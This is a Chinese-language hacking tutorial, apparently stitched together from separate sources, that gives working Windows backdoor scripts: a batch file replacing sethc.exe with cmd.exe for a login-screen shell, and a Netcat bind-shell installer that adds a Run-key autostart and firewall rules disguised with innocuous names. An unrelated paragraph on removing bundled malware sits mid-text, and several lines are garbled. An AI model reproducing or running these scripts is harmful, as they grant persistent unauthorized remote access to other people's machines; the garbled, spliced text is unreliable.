如何通过sethc.exe创建cmd.exe后门

echo Shift后门

echo.sproink@copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe@copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe@attrib c:\windows\system32\sethc.exe +h@attrib c:\windows\system32\dllcache\sethc.exe +hecho 使用方法:本文件执行完毕后,

echo 在终端界面按Shift 5次即可登陆系统!echo.

copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

echo 完成百分之 50

copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

echo 完成百分之 80

attrib c:\windows\system32\sethc.exe +h

echo 完成百分之 90

attrib c:\windows\system32\dllcache\sethc.exe +h

echo 完成百分之 99

echo 完成百分之 100clsecho.

echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

echo 后门安装完毕！echo.echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

对症下药、看是捆绑还是感染… 对于捆绑可以百度搜索扫描捆绑的软件（时间长没搞，名字忘了）扫出来捆绑软件名称，下载该软件再进行解开，如果没有就搜索反捆绑软件。 如果感染，尝试用各类杀毒软件扫描，记住是清除不是删除，有的杀软可能没有清除能力，多试几个，找有清除选项，可以先用在线查杀排除

0×00 准备工作

假设用户以管理员权限登录系统，在Windows 7系统上使用netcat 创建一个后门。

Netcat 功能比较单一, 缺少了许多我们渗透工作中需要的功能。为此我们将创建一个便携式的工具包来解决这个问题 :

1.下载额外的文件和附加持续.

2.编辑修改指定文件.

3.快速创建执行后门.

4.控制远程服务器并进行恶作剧 ：）

为了便于你第一时间获取到你的工具包，你需要将它放置在一个独立的U盘或者在线服务器上。

便携式工具(Portable Applications)

便携式工具是那些不需要安装就能直接使用的程序，它们往往将所有的执行环境和核心程序本身一同打包成一个独立的文件，方便携带。在独立文件执行的过程中会自行释放额的需求文件，并构建一个可顺利执行目标程序的环境。

1.不依赖特定的dll(dll已经打包)

2.不依赖注册表设置(有可能自行初始化) ，不遗留下任何注册表 *** 作痕迹

3. *** 作痕迹最小化，尽量避免一切不必要的 *** 作，导致留下过多的系统 *** 作记录

创建 Windows 7 工具集

gVim (跨平台的文本编辑器, 提供强大的命令行 *** 作交互)

Wget (下载 windows 64 位版本)

Netcat

有Kali系统的可以用命令 “find / -name nc.exe”搜索到 http://www.kali.org/ 或者下载已经编译好的版本 http://joncraton.org/blog/46/netcat-for-windows/

0×01初试 Netcat 后门

nc.exe -dLp 449 -e cmd.exe -L 这个选项会开启一个监听服务并等待客户端连接， 在客户端连接成功之后，会提供相应的交互服务。

– p 指定程序监听的端口(非管理员权限只能设置高于1024的端口. 同时不可复用现有端口)

– e 在接收到一个客户端连接后, 会执行一个特定的程序(这里是cmd.exe), 这个程序负责接下来的会话交互(执行客户端后期提交的任何命令)

– d 采取静默监听模式，避免nc运行过程中，产生过多额外的日志信息

Windows 7 后门安装批处理脚本

@echo off

Rem 拷贝文件到系统目录

xcopy "%systemdrive%\%username%\Desktop\nc.exe" "C:

\Windows\System32\" -y

Rem 修改注册表，增加后门自启动代码.

reg add "HKLM\software\microsoft\windows\currentversion\run" /f /v "system" /t

REG_SZ /d "C:\windows\system32\nc.exe -Ldp 449 -e cmd.exe"

Rem 添加防火墙规则，开放监听的449端口，允许外部连接.

netsh advfirewall firewall add rule name="Rule 34" dir=in action=allow

protocol=UDP localport=449

netsh advfirewall firewall add rule name="Rule 35" dir=in action=allow

protocol=TCP localport=449

Rem 添加防火墙规则，允许nc.exe对外提供连接.

netsh advfirewall firewall add rule name="Allow Messenger" dir=in action=allow

program="C:\windows\system32\nc.exe"

---